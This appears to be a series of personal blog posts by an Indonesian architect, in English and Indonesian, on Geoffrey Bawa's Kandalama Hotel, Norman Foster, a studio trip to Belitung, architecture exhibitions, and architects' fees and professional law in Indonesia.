Though the west wing is visible from the entrance road, it was heavily camouflaged by planting in order to minimize its visual impact on the arriving guest so it ultimately does not detract significantly from Bawa's designed approach.
“A building can only be understood by moving around and through it and by experiencing the modulation of the spaces one moves through from outside verandahs, the rooms, passages, courtyards the view from these spaces into othersm,… equally important, the play of light in both garden and innerroom – from shaded inner space to the celebration of light in a courtyard.” Geoffrey Bawa
Kandalama Hotel | Sectional elevation through the hotel showing the relationship of the building to the cliff | Archnet
Several Weeks later I saw one image, a hotel with full of greeneries looks like the building is attached to nature. The Name of the Hotel is Kandalama.
Though the west wing is visible from the entrance road, it was heavily camouflaged by planting in order to minimize its visual impact on the arriving guest so it ultimately does not detract significantly from Bawa’s designed approach.Being one of Bawa’s earlier moves toward minimalism in building detailing, the design of the Kandalama Hotel was shocking to admirers of the vernacular influence visible in his previous projects. However, the subtlety of the architecture itself effectively foregrounds the drama of the cliff-side topography and breathtaking views.The Kandalama Hotel is a nine-kilometer drive east of the small town of Dambulla. The main entrance lobby is located at the end of a ramped 2.7-kilometer-long private road that branches north from a secondary arterial leading back to the center of town. From the earliest development phase of the project, Bawa was interested in developing a spatial and visual sequence of entry that culminated in the revelation of the distant view of the monument of Sigiriya only after entry to the hotel lobby.Plan at Entry Level – Archnet
Robson stated If Norman Foster works with hundreds of architects in his firm, Foster and Partners. Geofrey Bawa should not be viewed as a lone genius but rather as someone who operated within a circle of sympathetic friends and collaborators and at the center an ever-changing group of talented associates and assistants. He also worked closely with a network of highly skilled builders and craftsmen which traditions and practices had been passed down through generations, often developing ideas directly with them on building site. [1]
I did research about Kandalama, found the building performance in archnet which is the world’s largest online databank of Islamic architecture. It was developed at the MIT School of Architecture and Planning in co-operation with the Aga Khan Trust for Culture. It provides users with resources on architecture [1], urban design and development in the Muslim world to all users .
Kandalama shows as example how Bawa’s later approach.Bawa’s earlier works are purely aesthetic and reflect the architect’s evolving personal design philosophy. The Kandalama Hotel follows the model of his later projects, in which the majority of the ornamentation comes from sculptures and artworks by other artists distributed around the building.The detailing of the architecture itself remains plainly yet harmoniously articulated in neutral tones and natural materials, including white concrete walls, black painted concrete columns, and wood or iron railings and millwork.
The Kandalama Hotel is located in the central dry zone of Sri Lanka, unlike many of Bawa’s other buildings on humid oceanfront sites, and thus its design must adapt to a different climate. While pitched roofs are a necessity in coastal areas that receive heavy rain, the flat roofs at Kandalama function well in a dry climate and are less material-intensive. [2]
This hotel reminds me about Norman Foster when he strived for improving the building performance more than architectural articulation. The Kandalama features innovative building technologies and systems designed to mitigate the environmental impact of the building’s operation on the catchment of the nearby lake. The Kandalama Hotel is an excellent example of how tourist facilities can be integrated into an undeveloped landscape successfully, fostering appreciation for the natural beauty of the setting while minimizing negative environmental consequences.
There were interesting stories and comparison the attitudes of influence and inspiration, among Mies, and Corbusier. Historian Reyner Banham would tell how he had interviewed Le Corbusier in Paris in the late 1950s. he was curious about the inspirations of Corbusier’s mind, Corbusier and Mies van der Roher both working for Peter Behrens in Berlin in 1911 and together they went to hear a lecture on Frank Llyod Wright by Dutch architect Berlage. When questioned by Banham, Corbusier insisted’ Frank Llyod Wright, “I don’t know that name. This was the same Corbusier who in 1912 design his parent house inspired by Frank lyyod Wright. Some architect found that they were orginal and that there genious, self trained, being avant garde and centre of attention.
Robson stated that Geoffrey Bawa did not aspire to be original or Avant – Garde, though many of his buildings were highly innovative. His architecture was not a means of personal expression: he enjoyed the process of causing buildings to be made. Good buildings gave him pleasure and he took pleasure from making buildings that gave others pleasure. He was concerned to make buildings that satisfied the aspirations of their users, which were appropriate to their setting and function [3]
Creating honest design, and performance based design is fundamental for design rather than attitude for being avant-garde, In the term of solving problem, we have to connect with the users, make them happy, nurture them, satisfy the land and the human. It will be good for students to understand and practice them. It’s like Gaston Bachelard’s Poetics of space, he believed in imagination, the best work is to left the imagination and some part of the chest is closed and left for interpretations for admirers. I remember my childhood, with my family, in our family, I was thought by my father and mother, to have perfection in work, nurture the family, while staying real, and honest with everybody. That is why they gave me name realrich. I just think that the word “family” is getting bigger.One of them is student, and another future architect, the other family is Laurensia and cute Miracle who gave me love every day.
Few days ago, I went to Belitung with people in studio for outing and relaxation trip. The trip was very relaxing, we had our camaraderie through playing, sharing, and learning new places. The studio has been working really hard for the progress of name RAW. It was fully trip that we gave for the effort given by associates, and designers. Originally when we went out for the trip, it will be a review for the office. We had a review for the 6 years of the office as well, but I won’t tell story in this post now. It will be later, this post is about the moment that truly touched my heart.
RAW Belitung’s trip pic by Rio Triwardhana
Football Time picture by Rio Triwardhana
Praying time picture by Rio Triwardhana
Belitung’s trip picture by Rio Triwardhana
traces picture by Rio Triwardhana
football picture by Rio Triwardhana
togetherness picture by Rio Triwardhana
relax with style picture by Rio Triwardhana
football time picture by Rio Triwardhana
in the school picture by Rio Triwardhana
in the school with tirta, gomez, damar picture by Rio Triwardhana
Our team : let’s get healthier picture by Rio Triwardhana
one of the momen that touched me when we went to school Muhammadiyah Gantong, there were few children entertaining people with laskar pelangi song, and suddenly we started to sing. After that I went to other classroom, looking and imagining how the learning process happened. The school structure was poorly built, while I could not found the traces of the learning process which is predicted because the location was genuinely made for movie set “Laskar Pelangi” a movie. An Indonesian film adapted from the popular same titled novel by Andrea Hirata.
After that, We went to Museum of Word, an initiative by Andrea Hirata located in Manggar, which quiet far from downtown Tanjung Pandan but the long road was so amazing and enjoyable.
In this house, are showed how Bangka Belitung’s children dreams. looks like, Andrea wants to make this museum as the first Letter Museum in Indonesia which come from the island, who has many population lack read. The museum has so many inspiring quotes form many remarkable people in the world, I just feel that Hirata believe in dream, a dream of better educated people through words.
RAW Studio People’s in front the museum
Windows of the world projects – Andrea Hirata
Museum of Word – Andrea Hirata
Museum of Word – Andrea Hirata
Word on the floor Museum of Word – Andrea Hirata
Quote on wall
Word by Hirata itself
Word by Hirata itself
The most inspiring part of this museum is at the back of the museum, there is small passage. The passage lead to the free school for belitung children. That is touched my heart. The fundamental of the knowledge is the education, while I feel inspired with the humbleness of the place, the simple seating, enough sunlight, simple structure with light construction made by wood and corrigated zinc.
Last time I was in the hard time how I could contribute to the society even more after establishing Omah Library. Now David is helping me to structure OMAH. Anis also has come back, and furthermore There are Greg, Rezki, Fandi, Ellena, and so many volunteers. We have a plan to establishing a course for omah as a way to get income and ease the load of money that was paid of omah’s operational
cost which vary around 10 million a month. But, this free school is going to be different, and I thought that it will be one the good initiative to connect architecture practice such as design principle, structure system, and mechanical needs with broader people through knowledge what what’s i believe in rooseno’s word, “knowledge is where west and east can meet” creating more beautiful set of world of brothers and sisters through architecture
“Robin Sharma shared about heart in being leader in his 2010’s publication, the title is about the leader with no title, I think this book is going to be worth to read by architects or all of the poeple to exercise leadeship by leading without title and for us who wanted healthier life.”
being healthier is difficult, it consists of knowing your food, doing your sports, and controling your body.
He believed that success is created through the performance of a few small daily disciplines that stack up over time to produce achievements far beyond anything you could have planned for. It’s well known for living legend Rudy Hartono to wake up early in the Morning to start training himself, so he become a champion in Badminton. “Antoni Salim, one of the prominent businessman also always jog every day at the early morning.” says my dad one time. when a year ago I tried to follow Pak Antoni jogging every morning, but it came last for only 1 month, my nike run apps was shut down, my shoes were hung at shelves. I was failed have healthy routines, there was lack of motivation to be healthy. Robin then wrote that Failure, on other hand is just as easy to slip into. Failure’s is nothing more than the inevitable outcome of a few small acts of daily neglect performed consistently over time so that they take you past the point of no return.
Cover book for Robin Sharma’s The leader who Had no Title
2 years ago, I still could wake up every morning at 5.00 am until the work took the metabolism of the body, the time of waking up starting to be later, 6.00 am, 7.00 am, until 8.00 am, 9.00 am because of heavy overtime for design submission. by the time, my weight was increased to 74 kg from 67.5 kg. I could not wear any slim fit trousers, and it’s difficult or heavy to move. I thought it was only my psychology.
Then I read one book titled, Originals written by Adam Grant. he wrote when you want to change something, building a condition, system that make you to change, change your behavior, you can’t do it yourself, you need other people. In my mind, I thought, “okay I need a trainer.” I asked Rezki and Greg, that I wanted to do Yoga, and they introduced me to Feliz. Then at bright morning, the yoga started.
Originals by Adam Grant
I was realized when I did yoga with Feliz as a way for having routine exercise. I believe that if the mind could program, at least the metabolism could be adjusted by the routines. It came up that the exercise was really painful from one session to another session until fourth session ,it was more painful. Then I realized, that probably the problem is the nutrition, the food that we eat, resemble the balance of our mind, and spiritual side. Just at Monday, I came up with weight loss program in the office, that every 1 kg loss or gain toward ideal weight, the office will pay 200 k for it. It was quite exciting to start and to walk the talk is more painful. I was in anger, and couldn’t control emotion, movement, losing energy, body start to tremble for 2 days. My body was suffering. We had a chat in the studio, and Miftah said “no pain no gain kak”
I think that is absolutely right. No pain no gain, even Feliz, our yoga teacher said, she experienced the same thing, started to eat in more healthy. She said even for her, starting yoga is painful even until now, so her body need stretching, the body will tell if we are ready for one pose to another pose.
Some of the people, like Ellena, Miftah lost 3 kilos and more until now, less than a month which is great for them and other people lost 2 kilos, 1 kilo, some of them couldn’t control their appetite and will have to prepare fine – 20 k for paying the excess per kilo.
Sharma wrote ‘Lucky breaks are nothing more than unexpected rewards for intelligent choices we’ve chosen to make. Success doesn’t just happen because someone’s stars line up. Success, both in business and personally is something that’s consciously created. It’s the guaranteed result of a deliberate series of acts that anyone can perform.” How can we not agree with !
And me, After 3 days having eat more healthy, my body was relaxed. in one week, I lost 2 kilos, and in 3 weeks I lost 3 kilos. My body is lighter, feels good, and the most important part, I can do my routine for waking up 5 a.m. in the morning to write this article and I have been doing yoga for almost 3 months, and feel healthier ever ! let’s encouraging each other to be healthier than before.
Note : for the dream team who are encouraging each other.
“you will never go wong in doing what is right,my young friend, never. if there is one thing I’ve learned about leadership siccess it’s that it lies at the intersection where excellence meets honor.” Robin Sharma
http://www.youtube.com/watch?v=LJ5aVIIf-9I There is one phrase, “juara” meaning champion, some of my fellow staff named it as “cuala”, one of the phrase that they often mentioned. I’m curious because It’s weird, it’s like jokes when people want to mock chinese language they use that alphabet C instead of J to express the accent by chinese people. I’m also curious where did they get that phrase. But anyway, this phenomena is interesting, because some of the people, tend to make it serious, as a way to get dominant, competitive, as a brotherhood, or as individual, allienate themselves, to show that being juara or cuala meaning that they are on top of others. Champion means a person who has defeated or surpassed all rivals in a competition, then what is rival, a person or thing competing with another for the same objective or for superiority in the same field of activity.
Norman Foster, a very talented and well organised architect was in the phase of phrasing cuala or being dominant as well. He did his first studio with team 4 together with Richard Rogers, Sue Rogers, and Wendy Foster. The kept arguing, in the discussion, the ideas could not be integrated, Rogers was keen to expression, the tectonics of building while Foster was more interested on building integration ,building performance, then they were separated in the early years of practice left both of them making their own architecture ideals. Foster went for foster associates, and Rogers for their own. They hired a flat in Hampstead, and the practiced in the other room, the office and living quarter was divided by wall partition. Foster almost went bankrupt while working for HSBC, he kept his office with small group of people in London. He sent Spencer, David, Moshan, Ken, and another people in total of 100 people to Hongkong, he thought that that was their best chance. [1]
“At the time we couldn’t understand why he (Norman) didn’t move to Hongkong with us, We had to keep briefing him on what had happened between visits, but in retrospect he was abolutely right. What Foster always had in mind was the long term future . When the bank was finished he did not want to find himself back where he had been before he won the hongkong competition. “ David Nelson
Then after the HSBC, he had to sacrifice people in his studio because he couldn’t afford them, one of the people even had to redraw some of the old projects, for publications that can attract more works. It was turbulent time for him. He focussed on the ide of the projects nailed the idea one by one, one of the important milestone is HSBC tower, the firm had not worked on high rise project before, the reputation went up, and some of the next commision gave opportunities for giving more innovation, more ideas, and then perfecting mastery in building performance and integration.
Norman Foster is probably can be justified as cuala or championed for building performance and integration. He found design principle to make the building run more efficient, building system more efficient, and look more sophisticated, and cost more efficient. His chemistry with other people has been remarkable, he has been well known of his persuasive, and effort for making his projects realized. In the book by Deyan Sujic, Sujic wrote that, “Out of every eight competitions he takes part in, only one leads to completed building. And even when it ocmes to the successful projects where the fees get paid, ony one produces abuilding. yet he must not only design it, but lobby for it, help raise money for it, and do his best to sell it as well. … ” and then he continued, the most important message.
He embraced the ideas, not on his position, label, status, wealth. Civilized meaning to think about your positioning by contributing increasing other’s value. he is such open and well connected to his collegeaue, client, and friends. the cuala or champion title, comes from cuala or champion habit, that is connecting with other people, giving your self out to the world, rather than being introvert and detached from other people. Sudjic then wrote as a very beautiful conclusion ‘the process demands the self knowledge needed to stop the architect from failing into the banal trap of the fountainhead complex, losing all touch with reality in a pursuit of a megalomaniac fantasy.” [1]
In presentation of Balai Purnomo Hadi University Indonesia. Yori Antar as juror, made a comment, “you said that the scheme was simple, but it is complicated, you said it’s complicated but it is simple”
That is threshold of allegory, al·le·go·ryˈaləˌɡôrē/
noun a story, poem, or picture that can be interpreted to reveal a hidden meaning, typically a moral or political one. I think he was right, the scheme was complicated, but it is simple for me. The triangle form which was repeated in circular parti which was engineered for rain water harvesting. The competition ended up us as being finalist in the round, sonny sutanto architect as winner, and pavilion 95 as another finalist, the other participants are Aboday, Atelier Two, Arkonin, Arkitekton Limatama, Duta Cermat Mandiri (Denton Crooker Marshall Indonesia)
As a shell, Indonesian culture of what we are in, from the primitive construction to the advanced material innovation. The term of complex bring combinations of maze, a rubic cube showing the path of the creativity in building craftmanship.
I thought that the avant garde which proposed by new generation of Indonesian architect is in big question in society, because of the simplification of its meaning, the generalisation of making architecture as a commodity. Meanwhile, the regionalism in the stream of design brought up. The question then, will be asked by public to the architect, what is the next generation of our era, the future Indonesian Architect.
The hyper complexity rejected singular solution for every aspect, this complexity believe that each of the moment, each of the party, each of the project is unique by its approach driven by the architect. The architect will be at the centre of the paradigms, covering the what should be done, what should not be done. In that sense, the authority of the architect and the authenticity by the architect shall be given by the public. And the appreciation will be even higher than before.
This concept underlines that the concept will focus on 2 layers of thinking :
First, is the internal side of the architect, the creativity side, that architect need to put his or her imagination alive. This process is about the cultivation of experience, the sadness, the happiness. It’s about the trust and belief of the architect and his or her background. The mastery is challenged
Second, is the external side of the architect. The domain of the architecture, which are the clients, the builders, the other specialities consultants, such as mechanical, electrical, structure, quantity surveyor, or even project management. The architect is the heart of the parties, that is why the rational, the mind, and even the spirituality must be connected, every parties need to realise that they are going to the same objective.
After the work is done, then, to show the complexity of the project, the complex, unsingular, clear informations are needed to show the project is not so simple, and well thought, and it’s worth it to show. It’s an act for self criticism for greater good. because appreciationis given not grabbed, appreciation comes from a focus on others. Then, appreciation will follow with reputations.
I remember last time my uncle passed away, few months ago. we visited him in hospital just a day before he passed away. The doctor asked for our opinion to put ventilator or just to leave him without breath support. It was uneasy experience, we got to choose. Putting ventilator is not easy, it’s painful for him, leaving him without breath support is also uneasy. He had been experiencing his life with cancer for the last 1 year. It had been painful for him.
During my stay at the hospital, I realised so many things, we got sick, and felt so sad because we couldn’t bear to see the losing, the sadness of our big family. I realised that this life need to be ended someday, there will be omega for all of us. I still have 2 beautiful father and mother from my side, and 2 beautiful father and mother from laurensia’s side.
Facing the death, our dignity, money, and love will not be last.
my aunt was faint several times, my cousin, who are younger few years than me, they are still studying in uni now are courageous to support their mother and father. Looking at their experience, seems that turbulence made them stronger.
I asked one of my students about the meaning of the death,his name is Robin, he had been working to design cemetry.
Is the death something really dark ?
or something really bright ?
is the death the end of journey ?
or is it beginning of the journey ?
to design something great,
we start with process of construction and desconstrution in our head, by reinterpreting our lifes as human being.
Philip Jonshon + Mark Wigley - Deconstructivist Architecture entrance
One of well known exhibition is curated by Bernard Rudofksy titled, architecture without architect with an agenda to explore a exemplars of indigenous architecture, He travelled to some of place, took photograph, and wrote paragraph about the story that was found by him during the trip. We need to put his exhibition context to the year 1960 when Jane Jacobs did critic for city in United States, attacked architect for the responsibility detaching architecture to people in process of making architecture. This exhibition had opportunity to show, architecture, which grew in the people and could change people and had close relationship to the city. The word to sum up the quality of the exhibition was ingenious. The exhibition followed with book titled architecture without architects.
Another example is Deconstructivist Architecture exhibition curated by Philip Johnson and Mark Wigley in New York. This exhibition featured works by Frank Gehry, Daniel Libeskind, Rem Koolhaas, Peter Eisenman, Zaha Hadid, Coop Himmelb(l)au, and Bernard Tschumi. They were new generations of architecture which breaking modern architecture by its product and process. Johnson and Wigley explained the manifesto in several points to conclude the architecture phenomena; they stated that the architects recognized the imperfectability of the modern world and seek to address, in Johnson’s words, the “pleasures of unease.” Obsessed with diagonals, arcs, and warped planes, they intentionally violate the cubes and right angles of modernism. Their projects continue the experimentation with structure initiated by the Russian Constructivists, but the goal of perfection of the 1920s is subverted. Disharmony, fracturing, and mystery displace the traditional virtues of harmony, unity, and clarity. The exhibition includes drawings, models, and site plans for recent projects by Coop Himmelblau, Peter Eisenman, Frank Gehry, Zaha M. Hadld, Rem Koolhaas, Daniel Libeskind, and Bernard Tschumi (11st of projects attached). Their works are preceded by an introductory section of Constructivist paintings and sculptures drawn from the Museum’s collection.
The two exhibitions: Architecture without Architects and Deconstructivist Architecture have strong agendas, informations, that could be beneficial to the public and changed the constellation of architecture in the world.
I think ARA’s Exhibition: Intimacy, in the appraisal of good exhibition’s framework has 4 agendas: first, intimacy tried to minimize the gab of architect and the public, showing with it’s title and the models which can be played by public and workshop by kids, second, it exhibited the layer of the architect’s studio showing by the relics, the things around designers such as, miniatures, or even guitar played by the staffs or else. Third, it tried to exhibit the layers of communications between stakeholders such as principals and other party by notes showing communications inside whataspp group printed and hung on the wall. Fourth, it shows an introduction for ARA’s work through models, text and some diagrams. These 4 layers are combined with an attitude to open their studio for public especially for architects, young designers, students for sharing ideas, discussions, or just for chatting.
The quality of the exhibition as starting is promising. It’s promising because some of the good exhibitions started with 2 main cores: agendas, and attitude, which shows that this exhibition has quality to be judged. For me this exhibition is not an ending, or omega, it is just an introduction or starter or alpha for the next sequel exhibitions which can be continued with more discussions, discourse, and sharing to architecture community in Indonesia and we can hope for architecture appreciation could be better from time to time in Indonesia.
UPH exhibition waktu adalah ruang http://i0.wp.com/www.arsitektur.asia/wp-content/uploads/2015/08/Zona-Tugas-Akhir.jpg
What is our current state of Indonesian architecture exhibition. Do we need architecture exhibition? What is the current state of architecture appreciation? In what sense architecture exhibition will provide value to culture, society, and further agenda? Do we have a good reflection of our current paradigm? Is there any good critic attitude?
To see the quality of the exhibition, first, it really depends on the agenda of the curator, what the meaning of the exhibition is, Why the exhibition, and How it is executed. Off course some of the curator might think that why do we need an agenda? Why don’t we just exhibit whatever we have, and let public decide? Inside the mastermind of the curator there are various agenda, I don’t believe in there is no agenda in the exhibition, there are only 2 agendas, private of social agenda and There are 2 streams of paradigm, the first one is agenda which is more introvert, to show a set of skill, mastery in architecture. The other is a more extrovert, more social; it’s about showing social agenda to the public. We can refer to David Hutama’s lecture in Omah Library, I summed that architect needs these 3 skills in architect profession: It could be skill as artisan, technician or even social businessperson. The two streams sometimes can be combined depends of the agendas, more introvert or more extrovert, mixed depends more to the curator who is the driver of the exhibition. The exhibition quality depends on the depth of the agenda, and communicating the idea to the public.
Universitas Pelita Harapan once has brought complete set of information of showing mastery and social agenda, in their academic agenda, by exhibition waktu adalah ruang curated by Fernissia Richtia, Robin Hartanto, and Andreas Annex. The exhibition shows a complex stage from basic stage to learn architecture, which was experienced by students by understanding the small: hinge and joint to the big or macro, which is the urban level. There are many details, big scale model, well written explanatory and finally there was book launching to sum up the whole information.
The models in Waktu adalah Ruang Exhibition exhibited with storyboard from intimate to more public project, showing the understanding from micro to macro.
“Segar” Adalah sebuah pameran arsitektur yang diselenggarakan untuk meramaikan pemilihan ketua umum Ikatan Arsitek. @adam Anaki Instagram Picture
Meanwhile the exhibition in like indobuildtech showing more commercial Agenda and Exhibition Segar showing more political agenda in relation to moment of Indonesian Institute of Architect. Reflecting in this selection process and the empathy to the public. I did critic for some of the exhibition titled Segar few months ago. The curator selected the participant. I was thinking if this exhibition was intended for celebrating the moment of selection of chief of Indonesian Institute of Architects. Deep in my mind I have so many questions, but fundamentally why should we, that we are in Jakarta, which already has reputations, 50 architects or more trying to show existence by having less agenda. It would be great if some of the architects, from outside java, unheard, but has ingenious work and several limitations of information, could be invited to collaborate in exhibition as a part of political agenda to unite architects in Indonesia. In the architecture, architects have their own label, and branding, off course it could be an attraction as the name is announced in the exhibition, but does the content is more important, because the architects who have great branding, started from zero by their amazing work, it’s not instant, it’s long journey, to start the career, some of the architects like Gehry, Mayne, the need 10 years to train and produce body of work.
Hyderabad, Sindh, southern Pakistan; not Hyderabad, Andhra Pradesh, south India. Images from Bernard Rudofsky, Architecture without Architects, New York, Museum of Modern Art, 1964: windscoops (called bad-gir by Rudofsky, müg by Wikipedia) on the roofs of buildings, which channel air into their interiors. “In multistoried houses they reach all the way down, doubling as intramural telephones. Although the origin of this contraption is unknown, it has been in use for at least five hundred years.”
Adalah bukan rahasia lagi bahwa seorang arsitek membutuhkan waktu lama untuk bisa tumbuh. Seorang Frank Gehry yang mendesain Guggenheim Museum di Bilbao, Spanyol, Thom Mayne yang mendesain Bangunan sekolah Copper Union di New York, ataupun Renzo Piano yang mendesain The Shard di London, Inggris, ataupun Norman Foster yang mendesain Reichstag di Jerman membutuhkan 20 – 30 tahun untuk bisa membuat publik memahami prinsip – prinsip desain yang ada kemudian menerimanya. Pencapaian ini bisa dihubungkan dengan penghargaan Pritzker Prize yang sudah diterima arsitek – arsitek tersebut. Pritzker prize adalah sebuah nobel arsitektur, penghargaan untuk arsitek yang menyumbangkan ide -idenya untuk masyarakat. Dari lamanya pembelajaran yang dibutuhkan arsitek, Ikatan Arsitek Indonesia (IAI) berusaha untuk membuat tatanan pembelajaran arsitek dari 3 tahun untuk arsitek pratama, 5 tahun untuk arsitek madya, juga 10 tahun untuk arsitek utama. Ketiga tingkatan ini bergantung dari kompleksitas pekerjaan, tinggi bangunan, dan kerumitan sistem bangunan yang muncul untuk membuat bangunan ini berfungsi baik seperti integrasi struktur, mekanikal, elektrikal, pencahayaan, sistem transportasi, sistem kebakaran yang perlu untuk dituangkan kedalam gambar kerja yang terukur sebagai panduan kontraktor untuk bekerja.
Frank Gehry memulai belajar dengan kegagalan, kemudian ia bisa lulus dari jurusan arsitektur dan kemudian magang, ia kemudan mencoba bertahan hidup dengan membaut praktek sendiri dan mendesain bangunan – bangunan komersial. Sehingga pada akhirnya setelah saatnya tiba, ia memutuskan untuk memilih klien, dan mengerjakan pekerjaan yang baik untuk dirinya sendiri, pada akhirnya muncullah desain Guggenheim di BIlbao. Frank Gehry memutuskan untuk belajar menghadapi tantangan di masyarakat, membuktikan bahwa ia mau belajar untuk menyesuaikan diri dengan masyarakat. Pak Achmad Noerzaman seorang direktur Arkonin juga membutuhkan waktu dalam perjalanannya menjadi seoarang presiden direktur di Arkonin, salah satu biro arsitek terbesar di Indonesia. Ia berangkat dari seseorang yang belajar dari senior – seniornya, melakukan sketsa – sketsa desain, dan membuktikan dari satu proyek ke proyek lainnya, terbangun dan tidak terbangun, konsep sampai gambar kerja sehingga karyanya mewarnai bilangan Jendral Sudirman, Bundaran HI, dan banyak lagi di kota – kota besar di seluruh Indonesia. Ada juga Tan Tjang Ay, yang mendesain bangunan – bangunan yang lebih sederhana, yang lebih menekankan pada sisi – sisi yang lebih detail, melayani klien – klien yang lebih personal dari jasa desain sampai bangunan – bangunan tersebut terbangun dengan inovasi – inovasi penggunaan material lokal dan pengolahan ruang yang efisien.Tidak jauh dari Indonesia, di Indonesia, seorang Laurie Baker, finalis peraih pritzker prize di tahun 2007, membuat desain – desain yang sederhana bersama costford sehingga terdesain rumah sebanyak 35.000 rumah di India. Desain – desain Laurie Baker memiliki sensitifitas terhadap kontur lahan, tipe pondasi, pemilihan jenis material, dan ekspresi yang jujur.
Howard Roark (Gary Cooper) discusses an ambitious building project with sullen publisher Gail Wynand
Dalam tabel standar biaya konsultan inkindo 2015 – Disdik DKI Jakarta, terdapat daftar untuk spesifikasi tenaga ahli dengan spesialisasi tertentu [1]. Spesialisasi tertentu ini mengacu ke perancangan gedung dengan kompleksitas tinggi seperti bangunan tinggi, pembangkit listrik, jembatan, dll. Uniknya dan anehnya, di dalam tabel ini tidak terdapat profesi arsitek, sedangkan disebutkan ahli mekanikal elektrikal, teknik lingkungan, teknik sipik, Geoteknik, Geologi. Memang di dalam lampiran tersebut terdapat kata – kata “dan lain – lain” namun disinilah tersirat bahwa, apakah profesi arsitek ini hadir dalam lingkungan jasa konsultan Indonesia. Jawabannya pasti iya, hadir, namun keberpihakan untuk arsitek patut untuk diperjuangkan karena tiga hal penting:
pertama arsitek berfungsi untuk melakukan efisiensi anggaran, dengan optimasi terhadap massa bangunan, luas bangunan, layout ruang, menentukan titik kolom struktur, menentukan jarak sisa untuk saluran mekanikal elektrikal dan pemipaan, dan optimasi penggunaan material. Kedua, arsitek berfungsi untuk mempercepat masa konstruksi bangunan dengan mempertimbangkan cara bangunan tersebut dikonstruksi, ketiga, arsitek bertanggung jawab terhadap tata ruang, dan perijinan bangunan tersebut untuk mendapatkan ijin mendirikan bangunan, yang bisa dipertanggung jawabkan keamanan, kenyamanan berdasarkan good practice, ataupun Standar Nasional Indonesia, ataupun timesaver, neufert data handbook, building metric handbook, ataupun standar – standar lain yang bisa diargumentasikan seperti standar pengamanan terhadap bocornya air, standar pengolahan minyak atau limbah, standar pengolahan air kotor, dan standar penyediaan air bersih dan sambungan antar detail yang mencegah angin, air, ataupun pandangan, terkait dengan privasi pengguna. Sedemikian mengerikannya apabila satu bangunan tidak didesain dengan benar, apalagi bangunan dengan kompleksitas tinggi yang akan digunakan oleh klien dan penggunanya. Kita patut bertanya – tanya, standar seperti apa yang digunakan. Apalagi ditambah apabila kita bertanya – tanya tentang penghargaan sebuah ide – ide dari satu bangunan. Mungkin keadaan ini masih jauh Panggang Dari Api atau kenyataan tidak sesuai harapan.
Professor Danisworo dalam kuliahnya di Omah library, menjelaskan bahwa standar fee untuk arsitek dari tahun ke tahun berkurang dari jaman ia merintis praktek Encona, dahulu pada waktu ia mengerjakan desain bandara udara Halim, uang imbalan balas jasa bersih yang didapat oleh kantor, bisa digunakan untuk membeli satu buah tanah berikut rumah yang besar, di daerah sumur bandung tempat kantor Encona beroperasi. Dari fee yang didapatkan sekarang dibandingkan biaya hidup yang ada, kompetisi yang ada, penghargaan yang ada harus membuat para arsitek menjadi perlu kreatif dalam mensiasati keadaan [2]. Keadaan yang dijelaskan professor Danisworo Hal ini berkebalikan dengan keadaan arsitek – arsitek luar yang masuk ke Indonesia dengan menerapkan fee 10 % – 20 % lebih tinggi dari fee arsitek di negara asalnya, memang disinilah peran marketting, pembentukan branding dan pada akhirnya kualitas menjadi penting. Bahwa adanya kualitas pranata yang mendukung, yang belum membuat profesi arsitek ini tumbuh subur, dan makin kuat. Arsitek Indonesia perlu berjuang dalam keterbatasan.
[1]http://www.simpel.lpse.kemenkeu.go.id/uploadFile/media/51_billing_rate_inkindo_2015%20(1).pdf
[2] professor Danisworo, dalam lecture di Omah Library
Apa konsekuensi dari pengesahan undang – undang arsitek ? ada 3 ketakutan publik yang terutama bahwa, pertama fee arsitek menjadi meningkat, kedua, paradigma,arsitek menjadi mahal, ketiga, arsitek menjadi tidak sosialis. Fee adalah kesepakatan atas kepercayaan orang yang menyewa arsitek tersebut, dan kemauan sang arsitek untuk berapa ia layak untuk dibayar. Yang dibicarakan ini adalah soal standarisasi yang tercipta apabila ada undang – undang arsitek. Standarisasi ini sifatnya hanya batas bawah, dimana ada alokasi yang layak untuk seorang arsitek bekerja demi keamanan, kenyamanan, keindahan bangunan yang didesain dan akan ada proyek – proyek sosial untuk orang yang membutuhkan dari arsitek. Sebagai ilustrasi di IAI menerapkan batas berdasarkan nilai bangunan, dari 6.5 % – 8 % untuk bangunan kecil di bawah 200 juta, dimana misal rumah dengan nilai bangunan 200 jt, seorang arsitek layak untuk diberikan biaya jasa antara 13.5 juta – 16 juta. Ini sudah termasuk biaya untuk ide – ide, transportasi, dan biaya operasional lainnya. Nilai ini mengecil sampai 1% – 1.5 % ketika proyeknya membesar dan dibeda – bedakan per kesulitan bangunan dari rumah tinggal, bangunan komersial, sekolah, sampai rumah sakit. Nilai ini tidaklah besar, atau kecil sekali dari standar yang ada di Inggris dan Amerika , dimana terdapat standar umum dari 5%, 8 % ,12 % sampai 15 % dari nilai bangunan. Disinilah kesepakatan ini muncul, dan nilai yang diminta oleh IAI kecil sekali dibandingkan dengan contoh yang ada. Mahal itu relatif, namun disinilah pembanding perlu diadakan apabila kita ingin menjadi negara maju, pemikiran logis perlu ada, setidaknya berpikir lebih kritis, seberapa ketertinggalan kita dengan negara lain.
Soal arsitek menjadi tidak sosialis, adalah sebuah kesalahpahaman, ada 3 hal yang mendasari profesionalitas dan tanggung jawab, adanya produk yang dihasilkan, rentang waktu pengerjaan, dan kompesansi biaya yang disepakati. Menjadi seorang arsitek yang sosialis sudah dicanangkan IAI dengan program untuk mendekatkan diri ke masyarakat, ataupun beberapa arsitek sudah mencoba menjadi sosialis dengan caranya sendiri – sendiri. Ada yang menjadi penggiat arsitektur komunitas, ada yang kemudian berkarya dalam pengabdian seperti Y.B. Mangunwijaya. Bahwa memikirkan untuk bangunan yang akan berfungsi dengan baik sudah sangat kompleks, dan untuk menjadi seseoarang yang sosialis adalah panggilan jiwa setiap orang dan merupakan keputusan tiap – tiap orang.
Kita melihat, mendengarkan, membaca paragraf – paragraf seperti “Arsitektur adalah sebuah gaya hidup,” “Arsitektur adalah sebuah ilmu yang tertinggi dalam kebudayaan dalam membentuk manusia,” “Kematian arsitektur Indonesia” “Kehilangan identitas dalam arsitektur Indonesia” “MEA akan tiba, jadi bersiap – siaplah arsitek Indonesia” “Kearifan lokal dalam arsitektur Indonesia, pentingnya lokalitas ?”
